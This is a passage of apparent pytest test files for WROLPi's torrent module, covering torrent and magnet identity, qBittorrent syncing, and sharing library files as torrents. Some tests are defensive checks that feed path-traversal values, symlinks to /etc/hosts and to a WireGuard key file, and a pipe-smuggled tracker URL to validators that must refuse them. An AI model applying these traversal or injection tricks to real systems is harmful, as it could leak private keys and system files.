from wrolpi.downloader import Download
from wrolpi.errors import ValidationError
def bencode(value) -> bytes:
if isinstance(value, int):
return f'i{value}e'.encode()
if isinstance(value, str):
value = value.encode()
if isinstance(value, bytes):
return f'{len(value)}:'.encode() + value
if isinstance(value, list):
return b'l' + b''.join(bencode(i) for i in value) + b'e'
if isinstance(value, dict):
return b'd' + b''.join(bencode(k) + bencode(value[k]) for k in sorted(value)) + b'e'
raise TypeError(value)
INFO = {'name': 'planet.pmtiles', 'piece length': 16384, 'pieces': b'\x00' * 20, 'length': 1000}
# The announce URL holds the bytes which start the info dictionary; it must not be mistaken for it.
TORRENT = bencode({'announce': 'http://tracker.example/4:infod', 'info': INFO})
HASH = hashlib.sha1(bencode(INFO)).hexdigest()
class TestIdentity:
def test_torrent_file(self):
assert lib.torrent_identity(TORRENT) == (HASH, 'planet.pmtiles')
def test_v2_only(self):
info = {'name': 'v2', 'piece length': 16384, 'meta version': 2, 'file tree': {}}
torrent = bencode({'info': info})
v2 = hashlib.sha256(bencode(info)).hexdigest()
assert lib.torrent_identity(torrent)[0] == v2[:40]
assert lib.torrent_magnet(torrent) == f'magnet:?xt=urn:btmh:1220{v2}&dn=v2'
def test_hybrid(self):
"""A hybrid torrent (what "Share as torrent" makes) is named by its truncated v2 hash, as qBittorrent names it
(libtorrent's "best" hash); its magnet link carries both hashes."""
info = {**INFO, 'meta version': 2, 'file tree': {}}
torrent = bencode({'info': info})
v1, v2 = hashlib.sha1(bencode(info)).hexdigest(), hashlib.sha256(bencode(info)).hexdigest()
assert lib.torrent_identity(torrent) == (v2[:40], 'planet.pmtiles')
magnet = lib.torrent_magnet(torrent)
assert magnet == f'magnet:?xt=urn:btih:{v1}&xt=urn:btmh:1220{v2}&dn=planet.pmtiles'
assert lib.magnet_identity(magnet) == (v2[:40], 'planet.pmtiles')
@pytest.mark.parametrize('torrent', [b'', b'not a torrent', bencode({'announce': 'x'}), bencode([1, 2]),
b'd4:infoi1ee', b'x' * (lib.MAX_TORRENT_FILE_BYTES + 1)])
def test_not_a_torrent(self, torrent):
with pytest.raises(ValidationError):
lib.torrent_identity(torrent)
def test_magnet(self):
assert lib.magnet_identity(f'magnet:?xt=urn:btih:{HASH.upper()}&dn=planet') == (HASH, 'planet')
base32 = __import__('base64').b32encode(bytes.fromhex(HASH)).decode()
assert lib.magnet_identity(f'magnet:?xt=urn:btih:{base32}')[0] == HASH
with pytest.raises(ValidationError):
lib.magnet_identity('magnet:?dn=no-hash')
# A v1 magnet link of a hybrid torrent still names it by v1 (qBittorrent knows nothing else of it).
v2 = 'c' * 64
assert lib.magnet_identity(f'magnet:?xt=urn:btmh:1220{v2}')[0] == v2[:40]
def test_magnet_link_round_trips(self):
assert lib.magnet_identity(lib.magnet_link(HASH, None, 'a planet & more')) == (HASH, 'a planet & more')
class TestSavePath:
def test_in_the_library(self, test_directory):
assert lib.check_save_path('maps') == 'maps'
assert lib.check_save_path(str(test_directory / 'maps' / 'big')) == 'maps/big'
assert lib.check_save_path(None) == lib.DEFAULT_SAVE_PATH
@pytest.mark.parametrize('save_path', ['../outside', '/etc', 'config', 'config/torrents', 'maps/../../x'])
def test_refused(self, test_directory, save_path):
with pytest.raises(ValidationError):
lib.check_save_path(save_path)
async def test_add_torrent_file(test_torrents_config, fake_qbittorrent):
client = fake_qbittorrent(tags=[lib.TAG])
entity = await lib.add_torrent('maps', torrent=TORRENT, client=client)
assert entity['slug'] == HASH
assert entity['name'] == 'planet.pmtiles'
assert entity['save_path'] == 'maps'
assert lib.magnet_identity(entity['magnet'])[0] == HASH
assert test_torrents_config.get_torrent_file(HASH).read_bytes() == TORRENT
_, save_path, torrent, url, tags, stopped = next(c for c in client.calls if c[0] == 'add')
assert save_path == str(lib.get_media_directory() / 'maps')
assert (torrent, url, tags, stopped) == (TORRENT, None, [lib.TAG], False)
async def test_add_magnet_once(test_torrents_config, fake_qbittorrent):
client = fake_qbittorrent(tags=[lib.TAG])
magnet = f'magnet:?xt=urn:btih:{HASH}&dn=planet'
await lib.add_torrent(None, magnet=magnet, client=client)
await lib.add_torrent(None, magnet=magnet, client=client)
adds = [c for c in client.calls if c[0] == 'add']
assert len(adds) == 1
assert adds[0][3] == magnet
assert test_torrents_config.get(HASH)['save_path'] == lib.DEFAULT_SAVE_PATH
async def test_pause_resume_remove(test_torrents_config, fake_qbittorrent):
client = fake_qbittorrent(tags=[lib.TAG])
await lib.add_torrent(None, torrent=TORRENT, client=client)
await lib.set_paused(HASH, True, client=client)
assert test_torrents_config.get(HASH)['paused'] is True
assert ('stop', [HASH]) in client.calls
await lib.set_paused(HASH, False, client=client)
assert ('start', [HASH]) in client.calls
await lib.remove_torrent(HASH, delete_files=True, client=client)
assert ('delete', [HASH], True) in client.calls
assert test_torrents_config.get(HASH) is None
assert not test_torrents_config.get_torrent_file(HASH).exists()
async def test_share_limits_are_applied(test_torrents_config, fake_qbittorrent):
client = fake_qbittorrent(tags=[lib.TAG])
await lib.add_torrent(None, torrent=TORRENT, client=client)
await lib.reconcile(client, wrol_mode=False)
# No limits: none in qBittorrent either.
assert ('set_share_limits', [HASH], -1, -1) in client.calls
lib.set_share_limits(HASH, 2.0, 1440)
await lib.reconcile(client, wrol_mode=False)
assert ('set_share_limits', [HASH], 2.0, 1440) in client.calls
calls = len(client.calls)
await lib.reconcile(client, wrol_mode=False)
assert not [c for c in client.calls[calls:] if c[0] == 'set_share_limits']
with pytest.raises(ValidationError):
lib.set_share_limits(HASH, -1)
def test_speed_limits(test_wrolpi_config):
config = lib.get_wrolpi_config()
config.torrent_upload_limit = 500
config.torrent_download_limit = 0
preferences = lib.desired_preferences({})
assert preferences['up_limit'] == 500 * 1024
assert preferences['dl_limit'] == 0
def test_download_rows_show_torrent_progress(test_session, test_directory):
download = Download(url=f'magnet:?xt=urn:btih:{HASH}', downloader=lib.TORRENT_DOWNLOADER, status='complete',
info_json=dict(torrent_hash=HASH), last_successful_download=lib.get_media_directory() and None)
other = Download(url='https://example.com/file', downloader='file', status='complete')
test_session.add_all([download, other])
test_session.commit()
progress = {}
with mock.patch('wrolpi.downloader.set_download_progress', lambda i, p: progress.__setitem__(i, p)), \
mock.patch('wrolpi.downloader.clear_download_progress', lambda i: progress.pop(i, None)):
lib.sync_download_rows({HASH: dict(hash=HASH, progress=0.25, dlspeed=1000, eta=125, completed=250,
size=1000)})
assert progress[download.id] == dict(percent=25.0, speed=1000, eta='2:05', bytes_downloaded=250,
total_bytes=1000)
test_session.expire_all()
# Downloading: not shown as completed.
assert test_session.get(Download, download.id).last_successful_download is None
lib.sync_download_rows({HASH: dict(hash=HASH, progress=1.0, size=1000)})
assert download.id not in progress
test_session.expire_all()
assert test_session.get(Download, download.id).last_successful_download is not None
assert other.id not in progress
class TestDownloader:
async def test_magnet(self, test_torrents_config, fake_qbittorrent):
client = fake_qbittorrent(tags=[lib.TAG])
downloader = TorrentDownloader()
with mock.patch.object(lib, 'QBittorrent', lambda: client):
executed = await downloader.execute_download(
PreparedTorrent(url=f'magnet:?xt=urn:btih:{HASH}&dn=planet', save_path='maps'), ctx=mock.Mock())
assert executed == ExecutedTorrent(hash=HASH, name='planet')
download = Download(url='x')
result = downloader.finalize_download(mock.Mock(), download, executed)
assert result.success and result.location == '/admin/torrents'
assert download.info_json['torrent_hash'] == HASH
async def test_uploaded_file_is_used_over_its_magnet_link(self, test_torrents_config, fake_qbittorrent):
client = fake_qbittorrent(tags=[lib.TAG])
test_torrents_config.get_torrent_file(HASH).write_bytes(TORRENT)
with mock.patch.object(lib, 'QBittorrent', lambda: client):
await TorrentDownloader().execute_download(
PreparedTorrent(url=lib.torrent_magnet(TORRENT), save_path='maps'), ctx=mock.Mock())
assert next(c for c in client.calls if c[0] == 'add')[2] == TORRENT
async def test_torrent_url(self, test_torrents_config, fake_qbittorrent):
client = fake_qbittorrent(tags=[lib.TAG])
with mock.patch.object(lib, 'QBittorrent', lambda: client), \
mock.patch('modules.torrents.downloader.fetch_torrent_file', mock.AsyncMock(return_value=TORRENT)):
executed = await TorrentDownloader().execute_download(
PreparedTorrent(url='https://example.com/planet.torrent', save_path='maps'), ctx=mock.Mock())
assert executed.hash == HASH
async def test_refused(self, test_torrents_config):
result = await TorrentDownloader().execute_download(
PreparedTorrent(url='ftp://example.com/x.torrent', save_path='maps'), ctx=mock.Mock())
assert result.success is False
result = await TorrentDownloader().execute_download(
PreparedTorrent(url='magnet:?xt=urn:btih:nothex', save_path='maps'), ctx=mock.Mock())
assert 'info hash' in result.error
async def test_fetch_torrent_file_reads_every_chunk(test_directory):
"""A .torrent file which arrives in many pieces is read whole."""
from aiohttp import web
from aiohttp.test_utils import TestServer
from modules.torrents.downloader import fetch_torrent_file
big = bencode({'announce': 'http://tracker.example/', 'comment': 'x' * 300_000, 'info': INFO})
async def handler(request):
response = web.StreamResponse()
await response.prepare(request)
for i in range(0, len(big), 1000):
await response.write(big[i:i + 1000])
return response
app = web.Application()
app.router.add_get('/planet.torrent', handler)
app.router.add_get('/missing.torrent', lambda request: web.Response(status=404))
async with TestServer(app) as server:
torrent = await fetch_torrent_file(str(server.make_url('/planet.torrent')))
with pytest.raises(ValidationError, match='404'):
await fetch_torrent_file(str(server.make_url('/missing.torrent')))
assert torrent == big
assert lib.torrent_identity(torrent) == (HASH, 'planet.pmtiles')
class TestAPI:
async def test_upload(self, test_torrents_config, async_client, test_session):
request, response = await async_client.post('/api/torrents/upload', data={'destination': 'maps'},
files={'torrent': ('planet.torrent', TORRENT)})
assert response.status_code == HTTPStatus.OK, response.json
assert response.json == dict(hash=HASH, name='planet.pmtiles')
assert test_torrents_config.get_torrent_file(HASH).read_bytes() == TORRENT
download = test_session.query(Download).one()
assert download.downloader == lib.TORRENT_DOWNLOADER
assert lib.magnet_identity(download.url)[0] == HASH
assert str(download.destination).endswith('/maps')
async def test_upload_refused(self, test_torrents_config, async_client):
request, response = await async_client.post('/api/torrents/upload', data={'destination': 'config'},
files={'torrent': ('planet.torrent', TORRENT)})
assert response.status_code == HTTPStatus.BAD_REQUEST
request, response = await async_client.post('/api/torrents/upload',
files={'torrent': ('bad.torrent', b'nope')})
assert response.status_code == HTTPStatus.BAD_REQUEST
async def test_manage(self, test_torrents_config, async_client, fake_qbittorrent, test_wrolpi_config):
client = fake_qbittorrent(tags=[lib.TAG])
with mock.patch.object(lib, 'QBittorrent', lambda: client):
await lib.add_torrent(None, torrent=TORRENT, client=client)
request, response = await async_client.post(f'/api/torrents/{HASH}/pause')
assert response.status_code == HTTPStatus.NO_CONTENT
assert test_torrents_config.get(HASH)['paused'] is True
request, response = await async_client.put(f'/api/torrents/{HASH}/limits',
json={'seed_ratio_limit': 3.0, 'seed_time_limit': None})
assert response.status_code == HTTPStatus.NO_CONTENT
assert test_torrents_config.get(HASH)['seed_ratio_limit'] == 3.0
request, response = await async_client.get(f'/api/torrents/{HASH}/torrent')
assert response.status_code == HTTPStatus.OK
assert response.body == TORRENT
request, response = await async_client.put('/api/torrents/limits', json={'upload': 100, 'download': 0})
assert response.status_code == HTTPStatus.NO_CONTENT
assert lib.get_wrolpi_config().torrent_upload_limit == 100
with mock.patch.object(lib, 'get_vpn_status', mock.AsyncMock(return_value={'state': 'connected'})):
request, response = await async_client.get('/api/torrents')
torrent = response.json['torrents'][0]
assert (torrent['managed'], torrent['paused'], torrent['seed_ratio_limit']) == (True, True, 3.0)
assert response.json['limits'] == {'upload': 100, 'download': 0}
request, response = await async_client.delete(f'/api/torrents/{HASH}?delete_files=true')
assert response.status_code == HTTPStatus.NO_CONTENT
assert ('delete', [HASH], True) in client.calls
async def test_status_tells_the_navigation(test_torrents_config, async_client, fake_qbittorrent):
"""/api/status carries the torrents summary the worker publishes, so the navigation can warn without asking
qBittorrent or the Controller itself."""
client = fake_qbittorrent(tags=[lib.TAG])
await lib.add_torrent(None, torrent=TORRENT, client=client)
with mock.patch.object(lib, 'get_vpn_status', mock.AsyncMock(return_value={'state': 'connecting'})):
await lib.sync_torrents(client)
request, response = await async_client.get('/api/status')
assert response.json['torrents'] == {'count': 1, 'vpn_state': 'connecting', 'running': True}

View file

@ -0,0 +1,148 @@
"""Share as torrent: make a torrent of a file or directory in the library, and seed it."""
import asyncio
from http import HTTPStatus
from unittest import mock
import pytest
from modules.torrents import lib, share
from modules.torrents.test.test_adding import TORRENT, HASH
from wrolpi.errors import ValidationError
@pytest.fixture
def planet(test_directory):
path = test_directory / 'maps' / 'planet.pmtiles'
path.parent.mkdir(parents=True)
path.write_bytes(b'tiles')
return path
class TestCheck:
def test_share_path(self, test_directory, planet):
assert share.check_share_path('maps/planet.pmtiles') == planet
assert share.check_share_path('maps/') == planet.parent
@pytest.mark.parametrize('path,message', [
('', 'Choose'), ('missing.bin', 'does not exist'), ('../outside', 'media directory'),
('config/torrents', 'config'), ('empty', 'no files'),
])
def test_refused(self, test_directory, planet, path, message):
(test_directory / 'empty').mkdir()
(test_directory / 'config' / 'torrents').mkdir(parents=True, exist_ok=True)
with pytest.raises(ValidationError, match=message):
share.check_share_path(path)
@pytest.mark.parametrize('path', ['.', './', '/', 'maps/..', 'config', 'config/vpn'])
def test_never_the_config(self, test_directory, planet, path):
(test_directory / 'config' / 'vpn').mkdir(parents=True, exist_ok=True)
(test_directory / 'config' / 'vpn' / 'wireguard.conf').write_text('PrivateKey = secret')
with pytest.raises(ValidationError):
share.check_share_path(path)
def test_links_out_are_refused(self, test_directory, planet):
(test_directory / 'config' / 'vpn').mkdir(parents=True, exist_ok=True)
(test_directory / 'config' / 'vpn' / 'wireguard.conf').write_text('PrivateKey = secret')
(test_directory / 'maps' / 'keys').symlink_to(test_directory / 'config' / 'vpn')
with pytest.raises(ValidationError, match='links to a folder'):
share.check_share_path('maps')
(test_directory / 'maps' / 'keys').unlink()
(test_directory / 'maps' / 'hosts').symlink_to('/etc/hosts')
with pytest.raises(ValidationError, match='outside the library'):
share.check_share_path('maps')
(test_directory / 'maps' / 'hosts').unlink()
# A link to the library itself would publish everything.
(test_directory / 'maps' / 'all').symlink_to(test_directory)
with pytest.raises(ValidationError, match='links to a folder'):
share.check_share_path('maps')
(test_directory / 'maps' / 'all').unlink()
# A link to a folder could lead anywhere (its own links are not walked).
(test_directory / 'videos').mkdir()
(test_directory / 'maps' / 'videos').symlink_to(test_directory / 'videos')
with pytest.raises(ValidationError, match='links to a folder'):
share.check_share_path('maps')
(test_directory / 'maps' / 'videos').unlink()
# A link to a file elsewhere in the library is fine; one to a file in config/ is not.
(test_directory / 'videos' / 'a.mp4').write_bytes(b'video')
(test_directory / 'maps' / 'a.mp4').symlink_to(test_directory / 'videos' / 'a.mp4')
assert share.check_share_path('maps') == planet.parent
(test_directory / 'maps' / 'key').symlink_to(test_directory / 'config' / 'vpn' / 'wireguard.conf')
with pytest.raises(ValidationError, match='config directory'):
share.check_share_path('maps')
def test_urls(self):
assert share.check_trackers(['udp://t.example:1337/announce', ' https://t.example/announce ', '',
'udp://t.example:1337/announce']) == \
['udp://t.example:1337/announce', 'https://t.example/announce']
assert share.check_web_seeds(['https://cdn.example/planet.pmtiles']) == ['https://cdn.example/planet.pmtiles']
for bad in ('ftp://t.example/', 'udp://', 'https://a.example/x|https://b.example/y', 'not a url'):
with pytest.raises(ValidationError):
share.check_trackers([bad])
with pytest.raises(ValidationError):
share.check_web_seeds(['udp://t.example:1337/announce'])
async def test_share(test_torrents_config, planet, fake_qbittorrent):
client = fake_qbittorrent(tags=[lib.TAG], created=TORRENT, creator_statuses=[
{'status': 'Running', 'progress': 40}, {'status': 'Finished', 'progress': None}])
job = mock.Mock()
job.cancel_requested.return_value = False
with mock.patch.object(share, 'get_current_job', lambda: job), mock.patch.object(share, 'POLL_SECONDS', 0):
result = await share.share_torrent('maps/planet.pmtiles', ['udp://t.example:1337/announce'],
['https://cdn.example/planet.pmtiles'], client=client)
assert result['hash'] == HASH
assert lib.magnet_identity(result['magnet'])[0] == HASH
assert ('create_torrent', str(planet), ['udp://t.example:1337/announce'],
['https://cdn.example/planet.pmtiles']) in client.calls
job.set_progress.assert_called_with(40)
# Seeded from where the files are, without hashing them again; the creator's task is cleaned up.
assert ('skip_checking', str(planet.parent)) in client.calls
assert ('delete_torrent_creator_task', 'task-1') in client.calls
entity = test_torrents_config.get(HASH)
assert (entity['save_path'], entity['complete']) == ('maps', True)
assert test_torrents_config.get_torrent_file(HASH).read_bytes() == TORRENT
async def test_share_failed(test_torrents_config, planet, fake_qbittorrent):
client = fake_qbittorrent(tags=[lib.TAG], creator_statuses=[{'status': 'Failed', 'errorMessage': 'disk error'}])
with pytest.raises(lib.QBittorrentError, match='disk error'):
await share.share_torrent('maps/planet.pmtiles', [], [], client=client)
assert ('delete_torrent_creator_task', 'task-1') in client.calls
assert test_torrents_config.get(HASH) is None
async def test_share_cancelled(test_torrents_config, planet, fake_qbittorrent):
client = fake_qbittorrent(tags=[lib.TAG], creator_statuses=[{'status': 'Running', 'progress': 10}])
job = mock.Mock()
job.cancel_requested.return_value = True
with mock.patch.object(share, 'get_current_job', lambda: job), pytest.raises(asyncio.CancelledError):
await share.share_torrent('maps/planet.pmtiles', [], [], client=client)
# Stops qBittorrent hashing.
assert ('delete_torrent_creator_task', 'task-1') in client.calls
assert not [c for c in client.calls if c[0] == 'add']
async def test_share_api(test_torrents_config, async_client, planet, test_wrolpi_config):
with mock.patch.object(share, 'enqueue_job', return_value='job-1') as enqueue_job:
request, response = await async_client.post('/api/torrents/share', json={
'path': 'maps/planet.pmtiles', 'trackers': ['udp://t.example:1337/announce'],
'web_seeds': ['https://cdn.example/planet.pmtiles'], 'remember_trackers': True})
assert response.status_code == HTTPStatus.CREATED, response.json
assert response.json == {'job_id': 'job-1'}
assert enqueue_job.call_args.kwargs == dict(
description='Make a torrent of maps/planet.pmtiles', path='maps/planet.pmtiles',
trackers=['udp://t.example:1337/announce'], web_seeds=['https://cdn.example/planet.pmtiles'])
# Offered next time.
assert lib.get_wrolpi_config().torrent_trackers == ['udp://t.example:1337/announce']
request, response = await async_client.post('/api/torrents/share', json={
'path': 'config', 'trackers': ['udp://other.example:1/announce'], 'remember_trackers': True})
assert response.status_code == HTTPStatus.BAD_REQUEST
# A refused request changes nothing.
assert lib.get_wrolpi_config().torrent_trackers == ['udp://t.example:1337/announce']
def test_default_trackers(test_wrolpi_config):
assert lib.get_wrolpi_config().torrent_trackers == [
'udp://tracker.opentrackr.org:1337/announce', 'udp://tracker.torrent.eu.org:451/announce']

View file

@ -0,0 +1,360 @@
"""Torrents: qBittorrent kept as config/torrents/ says, and the config following qBittorrent's WebUI."""
import configparser
import json
import subprocess
from pathlib import Path
from unittest import mock
import pytest
import yaml
from modules.torrents import lib, qbittorrent_prepare
REPOSITORY = Path(__file__).parent.parent.parent.parent
A, B, C = 'a' * 40, 'b' * 40, 'c' * 40
def make_entity(config, slug, torrent_file=True, **values):
entity = dict(slug=slug, name=f'torrent {slug[:4]}', save_path='torrents', **values)
config.create(slug, entity)
if torrent_file:
config.get_torrent_file(slug).write_bytes(f'torrent {slug}'.encode())
def qbt_torrent(hash_, tags='wrolpi', state='uploading', progress=1.0, save_path=None, **values):
return dict(hash=hash_, name=f'torrent {hash_[:4]}', tags=tags, state=state, progress=progress,
save_path=save_path or str(lib.get_media_directory() / 'torrents'),
magnet_uri=f'magnet:?xt=urn:btih:{hash_}', **values)
async def test_preferences(test_directory, fake_qbittorrent):
client = fake_qbittorrent()
changed = await lib.enforce_preferences(client, {'state': 'connected', 'forwarded_port': 36523})
assert changed['upnp'] is False
assert changed['lsd'] is False
assert changed['listen_port'] == 36523
assert changed['autorun_enabled'] is False and changed['autorun_on_torrent_added_enabled'] is False
assert changed['anonymous_mode'] is True
assert changed['save_path'] == str(test_directory / 'torrents')
# Already right: not set again.
assert 'current_network_interface' not in changed
assert await lib.enforce_preferences(client, {'state': 'connected', 'forwarded_port': 36523}) == {}
# Without a forwarded port, the listening port is left alone.
assert 'listen_port' not in lib.desired_preferences({'state': 'connected', 'forwarded_port': None})
async def test_new_profile_gets_every_torrent(test_torrents_config, fake_qbittorrent):
make_entity(test_torrents_config, A)
make_entity(test_torrents_config, B, torrent_file=False, magnet=f'magnet:?xt=urn:btih:{B}', paused=True)
client = fake_qbittorrent()
done = await lib.reconcile(client, wrol_mode=False)
assert sorted(done['added']) == [A, B]
assert set(await client.tags()) == {lib.TAG, lib.WROL_MODE_TAG}
adds = {c[2] or c[3]: c for c in client.calls if c[0] == 'add'}
# From its .torrent file (re-checked, never re-downloaded), into its directory.
_, save_path, torrent, url, tags, stopped = adds[f'torrent {A}'.encode()]
assert save_path == str(lib.get_media_directory() / 'torrents')
assert (tags, stopped) == ([lib.TAG], False)
# Only a magnet link: added from that. Paused stays paused.
_, _, _, url, tags, stopped = adds[f'magnet:?xt=urn:btih:{B}']
assert (tags, stopped) == ([lib.TAG], True)
async def test_new_profile_in_wrol_mode(test_torrents_config, fake_qbittorrent):
make_entity(test_torrents_config, A)
client = fake_qbittorrent()
await lib.reconcile(client, wrol_mode=True)
_, _, _, _, tags, stopped = next(c for c in client.calls if c[0] == 'add')
# Started again when WROL Mode ends.
assert stopped and lib.WROL_MODE_TAG in tags
async def test_adopts_torrents_added_in_the_webui(test_torrents_config, fake_qbittorrent):
client = fake_qbittorrent([qbt_torrent(A, tags='', state='downloading', progress=0.2,
save_path=str(lib.get_media_directory() / 'maps'))],
tags=[lib.TAG])
done = await lib.reconcile(client, wrol_mode=False)
assert done['adopted'] == [A]
entity = test_torrents_config.get(A)
assert entity['save_path'] == 'maps'
assert entity['paused'] is False
assert entity['magnet'] == f'magnet:?xt=urn:btih:{A}'
assert test_torrents_config.get_torrent_file(A).read_bytes() == f'torrent {A}'.encode()
assert (await client.torrents())[0]['tags'] == lib.TAG
async def test_waits_for_metadata_before_adopting(test_torrents_config, fake_qbittorrent):
client = fake_qbittorrent([qbt_torrent(A, tags='', state='metaDL', progress=0)], tags=[lib.TAG], metadata=False)
done = await lib.reconcile(client, wrol_mode=False)
assert done['adopted'] == []
assert test_torrents_config.get(A) is None
async def test_removed_in_the_webui_leaves_the_config(test_torrents_config, fake_qbittorrent):
make_entity(test_torrents_config, A)
client = fake_qbittorrent([qbt_torrent(A)], tags=[lib.TAG])
state = lib.ReconcileState()
await lib.reconcile(client, wrol_mode=False, state=state)
await client.delete([A])
done = await lib.reconcile(client, wrol_mode=False, state=state)
assert done['forgotten'] == [A]
assert test_torrents_config.get(A) is None
assert not test_torrents_config.get_file(A).exists()
assert not test_torrents_config.get_torrent_file(A).exists()
async def test_being_added_is_not_forgotten(test_torrents_config, fake_qbittorrent):
"""A torrent in the config, which qBittorrent has not shown yet, is being added (by another process); it is not
"removed in the WebUI"."""
make_entity(test_torrents_config, A)
client = fake_qbittorrent([], tags=[lib.TAG])
state = lib.ReconcileState()
done = await lib.reconcile(client, wrol_mode=False, state=state)
assert done['forgotten'] == [] and done['added'] == []
assert test_torrents_config.get(A) and test_torrents_config.get_torrent_file(A).is_file()
# The add lands.
await lib.add_from_config(client, test_torrents_config.get(A), stopped=False)
done = await lib.reconcile(client, wrol_mode=False, state=state)
assert not any(done.values())
assert test_torrents_config.get(A)
async def test_never_shown_is_added_again(test_torrents_config, fake_qbittorrent):
"""One still missing after the grace period (its add failed, or a restored config) is added, not forgotten."""
make_entity(test_torrents_config, A)
client = fake_qbittorrent([], tags=[lib.TAG])
state = lib.ReconcileState()
with mock.patch.object(lib.time, 'monotonic', return_value=1000.0):
assert (await lib.reconcile(client, wrol_mode=False, state=state))['added'] == []
with mock.patch.object(lib.time, 'monotonic', return_value=1000.0 + lib.ADD_GRACE_SECONDS):
done = await lib.reconcile(client, wrol_mode=False, state=state)
assert done['added'] == [A] and done['forgotten'] == []
assert A in {t['hash'] for t in await client.torrents()}
async def test_removed_from_the_config_leaves_qbittorrent_keeping_files(test_torrents_config, fake_qbittorrent):
client = fake_qbittorrent([qbt_torrent(A)], tags=[lib.TAG])
done = await lib.reconcile(client, wrol_mode=False)
assert done['removed'] == [A]
assert ('delete', [A], False) in client.calls
async def test_pausing_in_the_webui_is_saved(test_torrents_config, fake_qbittorrent):
make_entity(test_torrents_config, A)
client = fake_qbittorrent([qbt_torrent(A, state='stoppedUP')], tags=[lib.TAG])
await lib.reconcile(client, wrol_mode=False)
assert test_torrents_config.get(A)['paused'] is True
await client.start([A])
await lib.reconcile(client, wrol_mode=False)
assert test_torrents_config.get(A)['paused'] is False
async def test_wrol_mode_stops_torrents_and_starts_them_again(test_torrents_config, fake_qbittorrent):
make_entity(test_torrents_config, A, complete=True)
make_entity(test_torrents_config, B, paused=True, complete=True)
client = fake_qbittorrent([qbt_torrent(A), qbt_torrent(B, state='stoppedUP')], tags=[lib.TAG])
done = await lib.reconcile(client, wrol_mode=True)
assert done['stopped'] == [A]
# The user's wishes are unchanged.
assert test_torrents_config.get(A)['paused'] is False
done = await lib.reconcile(client, wrol_mode=False)
assert done['started'] == [A]
torrents = {t['hash']: t for t in await client.torrents()}
assert lib.WROL_MODE_TAG not in torrents[A]['tags']
# Paused by the user: not started.
assert torrents[B]['state'] == 'stoppedUP'
async def test_finished_torrent_is_indexed_once(test_torrents_config, fake_qbittorrent):
make_entity(test_torrents_config, A)
content = lib.get_media_directory() / 'torrents' / 'planet.pmtiles'
client = fake_qbittorrent([qbt_torrent(A, content_path=str(content))], tags=[lib.TAG])
with mock.patch('wrolpi.files.worker.file_worker') as file_worker:
done = await lib.reconcile(client, wrol_mode=False)
assert done['completed'] == [A]
file_worker.queue_refresh.assert_called_once_with([content], expand_stems=True)
await lib.reconcile(client, wrol_mode=False)
assert file_worker.queue_refresh.call_count == 1
assert test_torrents_config.get(A)['complete'] is True
async def test_sync_is_skipped_without_qbittorrent(test_torrents_config):
client = mock.Mock()
client.version = mock.AsyncMock(side_effect=lib.QBittorrentUnavailable('down'))
with mock.patch.object(lib, 'get_vpn_status', mock.AsyncMock(return_value={})):
assert await lib.sync_torrents(client) is None
async def test_status(test_torrents_config, fake_qbittorrent):
client = fake_qbittorrent([qbt_torrent(A, size=10, ratio=2.5, upspeed=5, dlspeed=0, num_leechs=1, num_seeds=3)],
tags=[lib.TAG])
with mock.patch.object(lib, 'get_vpn_status', mock.AsyncMock(return_value={'state': 'connected'})):
status = await lib.get_torrents_status(client)
assert status['running'] is True
assert status['connection_status'] == 'connected'
assert status['vpn'] == {'state': 'connected'}
assert status['torrents'][0]['save_path'] == 'torrents'
assert status['torrents'][0]['ratio'] == 2.5
class TestPrepare:
def test_writes_webui_and_interface_keeping_the_rest(self, tmp_path):
path = tmp_path / 'qBittorrent' / 'config' / 'qBittorrent.conf'
path.parent.mkdir(parents=True)
path.write_text('[Preferences]\nWebUI\\Port=8080\nDownloads\\SavePath=/media/wrolpi/x/\n'
'[Network]\nCookies=@Invalid()\n')
qbittorrent_prepare.prepare(tmp_path, '10.211.0.2', ['10.211.0.1/32'])
config = configparser.RawConfigParser(strict=False)
config.optionxform = str
config.read(path)
preferences = config['Preferences']
assert preferences['WebUI\\Address'] == '10.211.0.2'
assert preferences['WebUI\\Port'] == '8091'
assert preferences['WebUI\\AuthSubnetWhitelist'] == '10.211.0.1/32'
assert preferences['WebUI\\AuthSubnetWhitelistEnabled'] == 'true'
assert config['BitTorrent']['Session\\Interface'] == 'vpn0'
assert config['AutoRun']['enabled'] == 'false'
assert config['AutoRun']['OnTorrentAdded\\Enabled'] == 'false'
# qBittorrent's own settings are kept, case and all.
assert preferences['Downloads\\SavePath'] == '/media/wrolpi/x/'
assert config['Network']['Cookies'] == '@Invalid()'
assert 'WebUI\\Port=8091' in path.read_text()
def test_uplink(self):
outputs = {
('ip', '-j', '-4', 'route', 'show', 'default'):
json.dumps([{'dev': 'vpn-uplink', 'gateway': '10.211.0.1'}]).encode(),
('ip', '-j', '-4', 'addr', 'show', 'dev', 'vpn-uplink'):
json.dumps([{'addr_info': [{'local': '10.211.0.2', 'prefixlen': 30, 'scope': 'global'}]}]).encode(),
}
with mock.patch.object(qbittorrent_prepare.subprocess, 'check_output', lambda cmd: outputs[tuple(cmd)]):
assert qbittorrent_prepare.find_uplink() == ('10.211.0.2', '10.211.0.0/30')
def test_standalone(self):
source = (REPOSITORY / 'modules/torrents/qbittorrent_prepare.py').read_text()
imports = {line.split()[1].split('.')[0] for line in source.splitlines() if line.startswith(('import ', 'from '))}
assert imports <= set(__import__('sys').stdlib_module_names)
class TestInstalled:
def test_uplink_given_runs_no_ip(self, tmp_path):
"""The Pi unit's seccomp filter forbids capset, which `ip` calls to drop its capabilities (it is killed with
SIGSYS); so the unit gives the uplink rather than having it looked up."""
with mock.patch.object(qbittorrent_prepare.subprocess, 'check_output',
side_effect=AssertionError('ran ip')):
qbittorrent_prepare.main(['--profile', str(tmp_path), '--uplink', '10.211.0.2/30'])
config = configparser.RawConfigParser()
config.optionxform = str
config.read(tmp_path / 'qBittorrent/config/qBittorrent.conf')
assert config['Preferences']['WebUI\\Address'] == '10.211.0.2'
assert config['Preferences']['WebUI\\AuthSubnetWhitelist'] == '10.211.0.0/30'
def test_unit_gives_the_namespace_address(self):
unit = (REPOSITORY / 'etc/raspberrypios/wrolpi-torrent.service').read_text()
script = (REPOSITORY / 'etc/raspberrypios/wrolpi-vpn-netns.sh').read_text()
assert 'NAMESPACE_ADDRESS=10.211.0.2\n' in script and 'NETWORK=10.211.0.0/30\n' in script
assert '--uplink 10.211.0.2/30' in unit
def test_unit(self):
unit = (REPOSITORY / 'etc/raspberrypios/wrolpi-torrent.service').read_text()
assert 'NetworkNamespacePath=/run/netns/wrolpi-vpn' in unit
assert 'BindsTo=wrolpi-vpn.service' in unit
# systemd does not bind the namespace's resolv.conf the way `ip netns exec` does.
